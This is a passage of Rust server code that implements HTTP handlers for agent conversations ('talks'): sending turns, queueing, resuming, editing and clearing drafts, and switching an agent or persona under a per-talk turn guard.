9051            "persona_name": persona_name,
9052            "persona_avatar": persona_avatar,
9053        })))
9054    })
9055    .await
9056}
9057
9058/// `GET /api/talks/{id}`.
9059async fn talk_detail(
9060    State(ui): State<Arc<Ui>>,
9061    Path(id): Path<String>,
9062) -> ApiResult<Json<TalkDetailView>> {
9063    blocking(move || {
9064        let id = resolve_talk(&ui.talks, &id)?;
9065        let talk = ui.talks.get(&id)?;
9066        let thinking = ui.is_thinking_observed(&talk.id);
9067        let tasks = ui.find_tasks_for_talk(&talk.id)?;
9068        let task_progress = talk_task_progress(&tasks);
9069        let tasks = tasks.into_iter().map(TaskView::from).collect();
9070        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
9071        let roster = cfg
9072            .as_ref()
9073            .map(|cfg| {
9074                cfg.agents
9075                    .iter()
9076                    .map(|a| RosterEntry {
9077                        id: a.id.clone(),
9078                        kind: a.kind,
9079                        runnable: agent::installed(a),
9080                    })
9081                    .collect()
9082            })
9083            .unwrap_or_default();
9084        let specs = cfg
9085            .as_ref()
9086            .map(|cfg| cfg.talk.personas.clone())
9087            .unwrap_or_default();
9088        let personas = persona::catalog(&specs)
9089            .into_iter()
9090            .map(|p| PersonaEntry {
9091                avatar: avatar_url(&ui.home, &talk.id, &p),
9092                id: p.id,
9093                name: p.name,
9094            })
9095            .collect();
9096        Ok(Json(TalkDetailView {
9097            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
9098            tasks,
9099            task_progress,
9100            roster,
9101            personas,
9102        }))
9103    })
9104    .await
9105}
9106
9107/// The body of `POST /api/talks/{id}/say`.
9108///
9109/// `attachments` names ids `POST /api/talks/{id}/attachments` already
9110/// returned - never bytes of its own - so a turn with no images just omits
9111/// the field, which is what an older front end still does.
9112#[derive(Debug, Default, Deserialize)]
9113#[serde(default, deny_unknown_fields)]
9114struct NewTalkTurn {
9115    reply_to: Option<talk::ReplyTarget>,
9116    text: String,
9117    attachments: Vec<String>,
9118}
9119
9120#[derive(Debug, Deserialize)]
9121#[serde(deny_unknown_fields)]
9122struct EditTalkPending {
9123    #[serde(default)]
9124    message: Option<usize>,
9125    text: String,
9126    expected_text: String,
9127    expected_attachments: Vec<String>,
9128}
9129
9130#[derive(Debug, Deserialize)]
9131#[serde(deny_unknown_fields)]
9132struct ClearTalkPending {
9133    expected_text: String,
9134    expected_attachments: Vec<String>,
9135}
9136
9137/// `POST /api/talks/{id}/say` - one turn of the conversation.
9138///
9139/// Not filesystem work, and therefore not routed through [`blocking`]: this
9140/// route spawns an agent CLI and a turn here can run for the whole of
9141/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
9142/// research turn is expected to run commands rather than answer from what it
9143/// already knows. Holding an HTTP connection open that long is not a thing
9144/// to ask a phone to do; the operator's message is recorded and answered for
9145/// immediately, and the reply lands in the background, discovered through
9146/// the change stream's `talks_rev` the same way every other update on this
9147/// surface is.
9148async fn talk_say(
9149    State(ui): State<Arc<Ui>>,
9150    Path(id): Path<String>,
9151    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9152) -> ApiResult<(StatusCode, Json<TalkView>)> {
9153    let admission = ui.begin_admission()?;
9154    admitted(admission, async move {
9155    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9156    if body.text.trim().is_empty() && body.attachments.is_empty() {
9157        return Err(ApiError::bad_request("say something"));
9158    }
9159
9160    let id = {
9161        let ui = Arc::clone(&ui);
9162        let asked = id.clone();
9163        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9164    };
9165    // A closed Talk never accepts a new immediate or queued turn. Check this
9166    // before claiming a slot so its ordinary domain refusal is a 409, not an
9167    // incidental failure from the later record/queue write.
9168    {
9169        let ui = Arc::clone(&ui);
9170        let id = id.clone();
9171        blocking(move || {
9172            let talk = ui.talks.get(&id)?;
9173            if !talk.status.open() {
9174                return Err(ApiError::conflict(format!(
9175                    "talk {} is {} and takes no more turns",
9176                    talk.short(),
9177                    talk.status.as_str()
9178                )));
9179            }
9180            Ok(())
9181        })
9182        .await?;
9183    }
9184
9185    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9186    // actually stores, before anything is written - an unknown id is a 4xx
9187    // that names it rather than a turn (or a queued draft) silently missing
9188    // an image.
9189    let attachments = {
9190        let ui = Arc::clone(&ui);
9191        let id = id.clone();
9192        let ids = body.attachments.clone();
9193        blocking(move || {
9194            ids.into_iter()
9195                .map(|att_id| {
9196                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9197                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9198                    })
9199                })
9200                .collect::<ApiResult<Vec<talk::Attachment>>>()
9201        })
9202        .await?
9203    };
9204    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9205        .await.map_err(ApiError::from)?;
9206
9207    // Pending recovery and a new immediate turn are decided under the same
9208    // claim lock. Without that one critical section, a second `/say` can see
9209    // the first request's claim as "busy" and append itself to the recovered
9210    // draft before the first request rejects it.
9211    let start = {
9212        let ui = Arc::clone(&ui);
9213        let id = id.clone();
9214        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
9215    };
9216    let turn_guard = match start {
9217        TalkTurnStart::Claimed(turn_guard) => turn_guard,
9218        TalkTurnStart::Pending => {
9219            return Err(ApiError::conflict(
9220                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
9221            ));
9222        }
9223        TalkTurnStart::Foreign => {
9224            return Err(ApiError::conflict(
9225                "a turn is already running in another process; try again when it has finished",
9226            ));
9227        }
9228        TalkTurnStart::Busy => {
9229            // A turn is already running: queue rather than refuse. See
9230            // `Ui::begin_talk_turn` and `talk::queue`.
9231            //
9232            // The queue write and the drain it may owe live inside the task
9233            // `tokio::spawn` hands to the runtime, for the same reason the
9234            // immediate path below puts `record` there: a dropped handler
9235            // future must not be able to land between a durable write and
9236            // the task that answers it. `blocking` runs its closure on
9237            // `spawn_blocking`, which finishes whether or not anyone is left
9238            // to receive its result - so a disconnect at the `.await` below
9239            // would otherwise leave the draft persisted and the reclaimed
9240            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
9241            // ever started and the queued text stranded until some later
9242            // `say` happened to pick it up. The caller's 202 travels back
9243            // over a `oneshot`, sent the moment the write lands.
9244            let (tx, rx) = tokio::sync::oneshot::channel();
9245            tokio::spawn({
9246                let ui = Arc::clone(&ui);
9247                let id = id.clone();
9248                let said = body.text.clone();
9249                let reply_to = body.reply_to.clone();
9250                async move {
9251                    let written = blocking({
9252                        let ui = Arc::clone(&ui);
9253                        let id = id.clone();
9254                        move || {
9255                            let mut talk = ui.talks.get(&id)?;
9256                            // A test-only stop point, right before the write
9257                            // an interleaving test needs to pin - see
9258                            // `BusyQueueGate`. `None` in every real server:
9259                            // the field only exists under `#[cfg(test)]`.
9260                            #[cfg(test)]
9261                            if let Some(gate) = ui
9262                                .busy_queue_gate
9263                                .lock()
9264                                .unwrap_or_else(PoisonError::into_inner)
9265                                .take()
9266                            {
9267                                let _ = gate.reached.send(());
9268                                let _ = gate.release.recv();
9269                            }
9270                            if let Err(error) = talk::queue_reply(
9271                                &mut talk,
9272                                &ui.talks,
9273                                &said,
9274                                attachments,
9275                                reply_to,
9276                            ) {
9277                                if let Ok(fresh) = ui.talks.get(&id) {
9278                                    if !fresh.status.open() {
9279                                        return Err(ApiError::conflict(format!(
9280                                            "talk {} is {} and takes no more turns",
9281                                            fresh.short(),
9282                                            fresh.status.as_str()
9283                                        )));
9284                                    }
9285                                }
9286                                return Err(
9287                                    if error.to_string().contains("invalid reply target") {
9288                                        ApiError::bad_request("invalid reply target")
9289                                    } else {
9290                                        ApiError::from(error)
9291                                    },
9292                                );
9293                            }
9294                            // The turn that looked busy a moment ago can have
9295                            // finished, found nothing to drain and given up the
9296                            // slot in the gap between that check and this write
9297                            // landing - see `drain_loop`'s own doc for the other
9298                            // half of why that gap would otherwise be able to
9299                            // open at all. Reclaiming the slot here, rather than
9300                            // trusting that whoever held it is still watching, is
9301                            // what stops the text just queued from being stranded
9302                            // until an unrelated future `say` happens to drain
9303                            // it.
9304                            let claim = match ui.begin_queued_talk_turn(&id)? {
9305                                Some(turn_guard) => {
9306                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
9307                                    Some((talk.clone(), cfg, turn_guard))
9308                                }
9309                                None => None,
9310                            };
9311                            let thinking = ui.is_thinking(&id);
9312                            Ok((TalkView::new(talk, thinking, &ui), claim))
9313                        }
9314                    })
9315                    .await;
9316                    #[cfg(not(test))]
9317                    {
9318                        match written {
9319                            Ok((view, reclaimed)) => {
9320                                let launched = crate::consult::spawn_turn(&ui.talks, &id).await;
9321                                drop(reclaimed);
9322                                match launched {
9323                                    Ok(_) => { let _ = tx.send(Ok(view)); }
9324                                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9325                                }
9326                            }
9327                            Err(error) => { let _ = tx.send(Err(error)); }
9328                        }
9329                    }
9330                    #[cfg(test)]
9331                    {
9332                    let (view, reclaimed) = match written {
9333                        Ok(pair) => pair,
9334                        Err(e) => {
9335                            // Nobody is listening if the handler's own future
9336                            // was already dropped - that is fine, nothing was
9337                            // persisted and there is no response left to carry
9338                            // this error to.
9339                            let _ = tx.send(Err(e));
9340                            return;
9341                        }
9342                    };
9343                    // If this fails, the caller is gone; the drain below still
9344                    // runs exactly as it would have for a caller that stayed.
9345                    let _ = tx.send(Ok(view));
9346                    if let Some((talk, cfg, turn_guard)) = reclaimed {
9347                        let talks = ui.talks.clone();
9348                        drain_loop(talk, talks, cfg, id, turn_guard).await;
9349                    }
9350                    }
9351                }
9352            });
9353            let view = rx
9354                .await
9355                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9356            return Ok((StatusCode::ACCEPTED, Json(view)));
9357        }
9358    };
9359
9360    let (talk, cfg) = {
9361        let ui = Arc::clone(&ui);
9362        let id = id.clone();
9363        blocking(move || {
9364            let talk = ui.talks.get(&id)?;
9365            let (cfg, _) = Config::discover(&talk.repo, None)?;
9366            Ok((talk, cfg))
9367        })
9368        .await?
9369    };
9370
9371    let talks = ui.talks.clone();
9372    // `record` runs *inside* the spawned task, rather than in this handler
9373    // followed by a separate `tokio::spawn` for `respond` - axum drops this
9374    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
9375    // doc), and that drop can land at any `.await` this function makes,
9376    // including one that has already produced its result but not yet
9377    // resumed. A message could end up recorded on disk with the handler
9378    // future gone before it ever reached the `tokio::spawn` that would have
9379    // started the reply. `tokio::spawn` itself is a plain, synchronous call
9380    // that hands the whole future to the runtime as one unit - once made, no
9381    // later drop of *this* handler's own future (that call's return value is
9382    // never held onto here) can reach back in and stop it, so record and the
9383    // hand-off to `respond` are unconditionally atomic from the client's
9384    // point of view. The immediate response this handler owes the caller
9385    // travels back over a `oneshot`, sent the moment `record` succeeds.
9386    let (tx, rx) = tokio::sync::oneshot::channel();
9387    tokio::spawn({
9388        #[cfg(test)]
9389        let ui = Arc::clone(&ui);
9390        let talks = talks.clone();
9391        let id = id.clone();
9392        let said = body.text.clone();
9393        let reply_to = body.reply_to.clone();
9394        let mut talk = talk.clone();
9395        async move {
9396            let recorded = blocking({
9397                let talks = talks.clone();
9398                move || {
9399                    if let Err(error) =
9400                        talk::record_reply(&mut talk, &talks, &said, attachments, reply_to)
9401                    {
9402                        if let Ok(fresh) = talks.get(&talk.id) {
9403                            if !fresh.status.open() {
9404                                return Err(ApiError::conflict(format!(
9405                                    "talk {} is {} and takes no more turns",
9406                                    fresh.short(),
9407                                    fresh.status.as_str()
9408                                )));
9409                            }
9410                        }
9411                        return Err(if error.to_string().contains("invalid reply target") {
9412                            ApiError::bad_request("invalid reply target")
9413                        } else {
9414                            ApiError::from(error)
9415                        });
9416                    }
9417                    // `record` mutates `talk` in place to the freshly persisted
9418                    // state (status, pending, and the just-appended operator
9419                    // turn), so returning it here is equivalent to re-reading it
9420                    // from disk - without the extra round trip a re-read would
9421                    // need.
9422                    Ok((said.trim().to_owned(), talk))
9423                }
9424            })
9425            .await;
9426            let (text, talk) = match recorded {
9427                Ok(pair) => pair,
9428                Err(e) => {
9429                    // Nobody is listening if the handler's own future was
9430                    // already dropped - that is fine, there is no response
9431                    // left to carry this error to and nothing was persisted.
9432                    let _ = tx.send(Err(e));
9433                    return;
9434                }
9435            };
9436            #[cfg(not(test))]
9437            {
9438                let _ = (&cfg, &text);
9439                // The reservation becomes durable while this process still
9440                // holds the talk lease. The child waits for that lease; the
9441                // new UI sees its startup reservation immediately.
9442                let result = crate::consult::spawn_recorded_turn(
9443                    &talks, &id, talk.turns.len() - 1,
9444                ).await;
9445                drop(turn_guard);
9446                match result {
9447                    Ok(_) => { let _ = tx.send(Ok((talk, true))); }
9448                    Err(error) => { let _ = tx.send(Err(ApiError::from(error))); }
9449                }
9450            }
9451            #[cfg(test)]
9452            {
9453            let queued = talk.clone();
9454            let mut talk = talk;
9455            let thinking = ui.is_thinking(&id);
9456            // If this fails, the caller is gone; the turn still runs below
9457            // exactly as it would have for a caller that stayed connected.
9458            let _ = tx.send(Ok((queued, thinking)));
9459
9460            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
9461                // `respond` records the failure in the transcript itself,
9462                // which is what the phone reads; this line is for the
9463                // operator's terminal.
9464                tracing::warn!("talk {id} turn failed: {e:#}");
9465            }
9466            // Anything `talk::queue` added while the turn above was running
9467            // is still owed an answer - see `drain_loop`.
9468            drain_loop(talk, talks, cfg, id, turn_guard).await;
9469            }
9470        }
9471    });
9472
9473    let (queued, thinking) = rx
9474        .await
9475        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
9476
9477    // 202: the operator's message is recorded and a turn is running.
9478    Ok((
9479        StatusCode::ACCEPTED,
9480        Json(TalkView::new(queued, thinking, &ui)),
9481    ))
9482    }).await
9483}
9484
9485/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
9486/// changing it. The turn guard is the same per-talk ownership `talk_say`
9487/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
9488async fn talk_pending_resume(
9489    State(ui): State<Arc<Ui>>,
9490    Path(id): Path<String>,
9491) -> ApiResult<(StatusCode, Json<TalkView>)> {
9492    let admission = ui.begin_admission()?;
9493    admitted(admission, async move {
9494        let id = {
9495            let ui = Arc::clone(&ui);
9496            let asked = id.clone();
9497            blocking(move || resolve_talk(&ui.talks, &asked)).await?
9498        };
9499        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9500            .await
9501            .map_err(ApiError::from)?;
9502        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9503            return Err(ApiError::conflict(
9504                "a talk turn is already running; the queued draft will be handled by it",
9505            ));
9506        };
9507        let (talk, cfg) = {
9508            let ui = Arc::clone(&ui);
9509            let id = id.clone();
9510            blocking(move || {
9511                let talk = ui.talks.get(&id)?;
9512                if !talk.status.open() {
9513                    return Err(ApiError::conflict(format!(
9514                        "talk {} is {} and takes no more turns",
9515                        talk.short(),
9516                        talk.status.as_str()
9517                    )));
9518                }
9519                if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9520                    return Err(ApiError::conflict("there is no queued draft to resume"));
9521                }
9522                let (cfg, _) = Config::discover(&talk.repo, None)?;
9523                Ok((talk, cfg))
9524            })
9525            .await?
9526        };
9527        let view = TalkView::new(talk.clone(), true, &ui);
9528        let talks = ui.talks.clone();
9529        #[cfg(not(test))]
9530        detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9531        #[cfg(test)]
9532        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9533        Ok((StatusCode::ACCEPTED, Json(view)))
9534    })
9535    .await
9536}
9537
9538/// Hand off an admitted draft while retaining the talk lease until its
9539/// detached startup reservation is durable.
9540#[cfg(not(test))]
9541async fn detach_talk_turn(
9542    _talk: Talk,
9543    talks: Talks,
9544    _cfg: Config,
9545    id: String,
9546    turn: TalkTurnGuard,
9547) -> ApiResult<()> {
9548    let launched = crate::consult::spawn_turn(&talks, &id).await;
9549    drop(turn);
9550    launched.map(|_| ()).map_err(ApiError::from)
9551}
9552
9553#[cfg(test)]
9554async fn drain_loop(talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
9555    drain_loop_started(talk, talks, cfg, id, turn, None).await;
9556}
9557
9558/// A settings response must not report idle while its claim is still held.
9559/// Wait until the first drain either releases the claim or promotes a draft.
9560/// The task owns the guard even if the HTTP handler is cancelled while waiting.
9561async fn settle_settings_turn(
9562    talk: Talk,
9563    talks: Talks,
9564    cfg: Config,
9565    id: String,
9566    turn: TalkTurnGuard,
9567    observed: u64,
9568) -> bool {
9569    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9570        let turns = Arc::clone(&turn.turns);
9571        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9572        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9573            // Release under the arrival lock; a later `/say` takes its own claim.
9574            turn.release(&mut live);
9575            return false;
9576        }
9577    }
9578    let (started, settled) = tokio::sync::oneshot::channel();
9579    tokio::spawn(drain_loop_started(
9580        talk,
9581        talks,
9582        cfg,
9583        id,
9584        turn,
9585        Some(started),
9586    ));
9587    settled.await.unwrap_or(false)
9588}
9589
9590#[cfg(not(test))]
9591async fn drain_loop_started(
9592    talk: Talk,
9593    talks: Talks,
9594    _cfg: Config,
9595    id: String,
9596    turn: TalkTurnGuard,
9597    started: Option<tokio::sync::oneshot::Sender<bool>>,
9598) {
9599    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9600    let running = if pending {
9601        match crate::consult::spawn_turn(&talks, &id).await {
9602            Ok(_) => true,
9603            Err(error) => {
9604                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
9605                false
9606            }
9607        }
9608    } else {
9609        false
9610    };
9611    drop(turn);
9612    if let Some(started) = started {
9613        let _ = started.send(running);
9614    }
9615}
9616
9617// Existing in-process conversation tests exercise transcript/arrival ordering;
9618// real process-lifetime behavior is covered by the CLI integration tests.
9619#[cfg(test)]
9620async fn drain_loop_started(
9621    mut talk: Talk,
9622    talks: Talks,
9623    cfg: Config,
9624    id: String,
9625    turn: TalkTurnGuard,
9626    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
9627) {
9628    let live_set = Arc::clone(&turn.turns);
9629    // `Option` rather than binding `turn` directly to a `_turn` that lives
9630    // for the whole function: releasing it has to happen by calling
9631    // `TalkTurnGuard::release` from inside the locked branch below, which
9632    // takes `self` by value. Left as a plain drop instead, `Drop` would still
9633    // remove the id - correctly, if this loop is ever left some other way -
9634    // but doing it there misses the lock this loop is already holding, which
9635    // is the exact gap `release` exists to close.
9636    let mut turn = Some(turn);
9637    loop {
9638        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
9639            // The lease was taken over while a turn ran. Whatever is queued
9640            // stays a draft; running it here would race the new owner.
9641            tracing::warn!("talk {id} lost its turn lease; not draining further");
9642            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9643            if let Some(turn) = turn.take() {
9644                turn.release(&mut live);
9645            }
9646            break;
9647        }
9648        // `talk::drain` takes the store lock and can write/rename the talk
9649        // file. Keep the turn mutex out of that synchronous work: it protects
9650        // every talk's in-memory claim, not this talk's disk operation.
9651        let observed = live_set
9652            .lock()
9653            .unwrap_or_else(PoisonError::into_inner)
9654            .queued
9655            .get(&id)
9656            .copied()
9657            .unwrap_or(0);
9658        let drained = blocking({
9659            let talks = talks.clone();
9660            move || {
9661                let result = talk::drain(&mut talk, &talks);
9662                Ok((talk, result))
9663            }
9664        })
9665        .await;
9666        let (next_talk, result) = match drained {
9667            Ok(drained) => drained,
9668            Err(e) => {
9669                tracing::warn!(
9670                    status = %e.status,
9671                    message = %e.message,
9672                    "talk {id} could not start queued-text drain"
9673                );
9674                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9675                turn.take()
9676                    .expect("held for the whole loop until released here")
9677                    .release(&mut live);
9678                break;
9679            }
9680        };
9681        talk = next_talk;
9682        let drained = match result {
9683            Ok(Some(drained)) => drained,
9684            Ok(None) => {
9685                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9686                if live.queued.get(&id).copied().unwrap_or(0) != observed {
9687                    continue;
9688                }
9689                turn.take()
9690                    .expect("held for the whole loop until released here")
9691                    .release(&mut live);
9692                break;
9693            }
9694            Err(e) => {
9695                tracing::warn!("talk {id} could not drain queued text: {e:#}");
9696                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
9697                turn.take()
9698                    .expect("held for the whole loop until released here")
9699                    .release(&mut live);
9700                break;
9701            }
9702        };
9703        if let Some(started) = started.take() {
9704            let _ = started.send(true);
9705        }
9706        let responded = match turn.as_ref() {
9707            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
9708            None => Err(anyhow::anyhow!("the turn guard was released")),
9709        };
9710        if let Err(e) = responded {
9711            tracing::warn!("talk {id} turn failed: {e:#}");
9712        }
9713    }
9714    drop(turn);
9715    if let Some(started) = started {
9716        let _ = started.send(false);
9717    }
9718}
9719
9720/// Clear a queued draft only if it remains exactly the one the caller saw.
9721async fn talk_pending_clear(
9722    State(ui): State<Arc<Ui>>,
9723    Path(id): Path<String>,
9724    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
9725) -> ApiResult<Json<TalkView>> {
9726    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9727    blocking(move || {
9728        let id = resolve_talk(&ui.talks, &id)?;
9729        let mut talk = ui.talks.get(&id)?;
9730        if !talk.status.open() {
9731            return Err(ApiError::conflict(format!(
9732                "talk {} is {} and takes no more turns",
9733                talk.short(),
9734                talk.status.as_str()
9735            )));
9736        }
9737        if !talk::clear_pending_if_matches(
9738            &mut talk,
9739            &ui.talks,
9740            &body.expected_text,
9741            &body.expected_attachments,
9742        )? {
9743            return Err(ApiError::conflict(
9744                "queued message changed; reload it before clearing",
9745            ));
9746        }
9747        let thinking = ui.is_thinking(&talk.id);
9748        Ok(Json(TalkView::new(talk, thinking, &ui)))
9749    })
9750    .await
9751}
9752
9753/// Atomically edit a queued draft's text while preserving its attachments.
9754/// The snapshot fields make a concurrent queue or drain a conflict rather
9755/// than silently discarding either message.
9756async fn talk_pending_edit(
9757    State(ui): State<Arc<Ui>>,
9758    Path(id): Path<String>,
9759    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
9760) -> ApiResult<Json<TalkView>> {
9761    let admission = ui.begin_admission()?;
9762    admitted(admission, async move {
9763        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9764        let id = {
9765            let ui = Arc::clone(&ui);
9766            blocking(move || resolve_talk(&ui.talks, &id)).await?
9767        };
9768        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9769            .await
9770            .map_err(ApiError::from)?;
9771        let (view, reclaimed) = blocking({
9772            let ui = Arc::clone(&ui);
9773            move || {
9774                let mut talk = ui.talks.get(&id)?;
9775                if !talk.status.open() {
9776                    return Err(ApiError::conflict(format!(
9777                        "talk {} is {} and takes no more turns",
9778                        talk.short(),
9779                        talk.status.as_str()
9780                    )));
9781                }
9782                if !talk::edit_pending_message(
9783                    &mut talk,
9784                    &ui.talks,
9785                    &body.text,
9786                    &body.expected_text,
9787                    &body.expected_attachments,
9788                    body.message,
9789                )? {
9790                    return Err(ApiError::conflict(
9791                        "queued message changed; reload it before editing",
9792                    ));
9793                }
9794                let claim = match ui.begin_queued_talk_turn(&id)? {
9795                    Some(turn_guard) => {
9796                        let (cfg, _) = Config::discover(&talk.repo, None)?;
9797                        Some((talk.clone(), cfg, id.clone(), turn_guard))
9798                    }
9799                    None => None,
9800                };
9801                let thinking = ui.is_thinking(&id);
9802                Ok((TalkView::new(talk, thinking, &ui), claim))
9803            }
9804        })
9805        .await?;
9806        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
9807            let talks = ui.talks.clone();
9808            #[cfg(not(test))]
9809            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
9810            #[cfg(test)]
9811            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9812        }
9813        Ok(Json(view))
9814    })
9815    .await
9816}
9817
9818/// The 409 for a talk that takes no more turns.
9819fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
9820    if talk.status.open() {
9821        return Ok(());
9822    }
9823    Err(ApiError::conflict(format!(
9824        "talk {} is {} and takes no more turns",
9825        talk.short(),
9826        talk.status.as_str()
9827    )))
9828}
9829
9830/// The body of `POST /api/talks/{id}/agent`.
9831#[derive(Debug, Deserialize)]
9832struct TalkAgent {
9833    agent: String,
9834}
9835
9836/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
9837/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
9838/// start a turn on the old session between the check and the write; one that
9839/// arrives in that window finds the talk busy and becomes a draft.
9840async fn talk_agent(
9841    State(ui): State<Arc<Ui>>,
9842    Path(id): Path<String>,
9843    Json(body): Json<TalkAgent>,
9844) -> ApiResult<Json<TalkView>> {
9845    let admission = ui.begin_admission()?;
9846    admitted(admission, async move {
9847        let id = {
9848            let ui = Arc::clone(&ui);
9849            blocking(move || resolve_talk(&ui.talks, &id)).await?
9850        };
9851        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9852            .await
9853            .map_err(ApiError::from)?;
9854        let repo = {
9855            let ui = Arc::clone(&ui);
9856            let id = id.clone();
9857            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9858        };
9859        let cfg = config_for(&repo).await?;
9860        // Refuse before taking the claim; see `talk_implementers`.
9861        {
9862            let ui = Arc::clone(&ui);
9863            let id = id.clone();
9864            let cfg = cfg.clone();
9865            let wanted = body.agent.clone();
9866            blocking(move || {
9867                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9868                    .map_err(ApiError::bad_request_from)?;
9869                refuse_if_closed(&ui.talks.get(&id)?)
9870            })
9871            .await?;
9872        }
9873        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9874            return Err(ApiError::conflict(
9875                "a talk turn is running; change the agent once it has answered",
9876            ));
9877        };
9878        let switched = {
9879            let ui = Arc::clone(&ui);
9880            let id = id.clone();
9881            let cfg = cfg.clone();
9882            blocking(move || {
9883                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9884                    .map_err(ApiError::bad_request_from)?;
9885                let mut talk = ui.talks.get(&id)?;
9886                if !talk.status.open() {
9887                    return Err(ApiError::conflict(format!(
9888                        "talk {} is {} and takes no more turns",
9889                        talk.short(),
9890                        talk.status.as_str()
9891                    )));
9892                }
9893                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9894                Ok(talk)
9895            })
9896            .await
9897        };
9898        // A `/say` that landed while this held the claim saw the talk busy and
9899        // left a durable draft, trusting the claim's owner to drain it. So the
9900        // claim is settled whatever the outcome. Release an empty draft's claim
9901        // before replying; queued drafts continue independently of the handler.
9902        let observed = ui.queued_generation(&id);
9903        let fresh = {
9904            let ui = Arc::clone(&ui);
9905            let id = id.clone();
9906            blocking(move || Ok(ui.talks.get(&id)?)).await
9907        };
9908        let draining = match fresh {
9909            Ok(talk) => {
9910                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9911            }
9912            Err(_) => false,
9913        };
9914        let talk = switched?;
9915        Ok(Json(TalkView::new(talk, draining, &ui)))
9916    })
9917    .await
9918}
9919
9920/// The body of `POST /api/talks/{id}/persona`.
9921#[derive(Debug, Deserialize)]
9922struct TalkPersona {
9923    persona: String,
9924}
9925
9926/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9927/// like [`talk_agent`]: the turn guard is held for the change and always handed
9928/// to `drain_loop`, so a draft left meanwhile is not stranded.
9929async fn talk_persona(
9930    State(ui): State<Arc<Ui>>,
9931    Path(id): Path<String>,
9932    Json(body): Json<TalkPersona>,
9933) -> ApiResult<Json<TalkView>> {
9934    let admission = ui.begin_admission()?;
9935    admitted(admission, async move {
9936        let id = {
9937            let ui = Arc::clone(&ui);
9938            blocking(move || resolve_talk(&ui.talks, &id)).await?
9939        };
9940        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9941            .await
9942            .map_err(ApiError::from)?;
9943        let repo = {
9944            let ui = Arc::clone(&ui);
9945            let id = id.clone();
9946            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9947        };
9948        let cfg = config_for(&repo).await?;
9949        // Refuse before taking the claim; see `talk_implementers`.
9950        {
9951            let ui = Arc::clone(&ui);
9952            let id = id.clone();
9953            let cfg = cfg.clone();
9954            let wanted = body.persona.clone();
9955            blocking(move || {
9956                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9957                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9958                }
9959                refuse_if_closed(&ui.talks.get(&id)?)
9960            })
9961            .await?;
9962        }
9963        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9964            return Err(ApiError::conflict(
9965                "a talk turn is running; change the persona once it has answered",
9966            ));
9967        };
9968        let switched = {
9969            let ui = Arc::clone(&ui);
9970            let id = id.clone();
9971            let cfg = cfg.clone();
9972            blocking(move || {
9973                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9974                    return Err(ApiError::bad_request(format!(
9975                        "unknown persona `{}`",
9976                        body.persona
9977                    )));
9978                };
9979                let mut talk = ui.talks.get(&id)?;
9980                if !talk.status.open() {
9981                    return Err(ApiError::conflict(format!(
9982                        "talk {} is {} and takes no more turns",
9983                        talk.short(),
9984                        talk.status.as_str()
9985                    )));
9986                }
9987                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9988                Ok(talk)
9989            })
9990            .await
9991        };
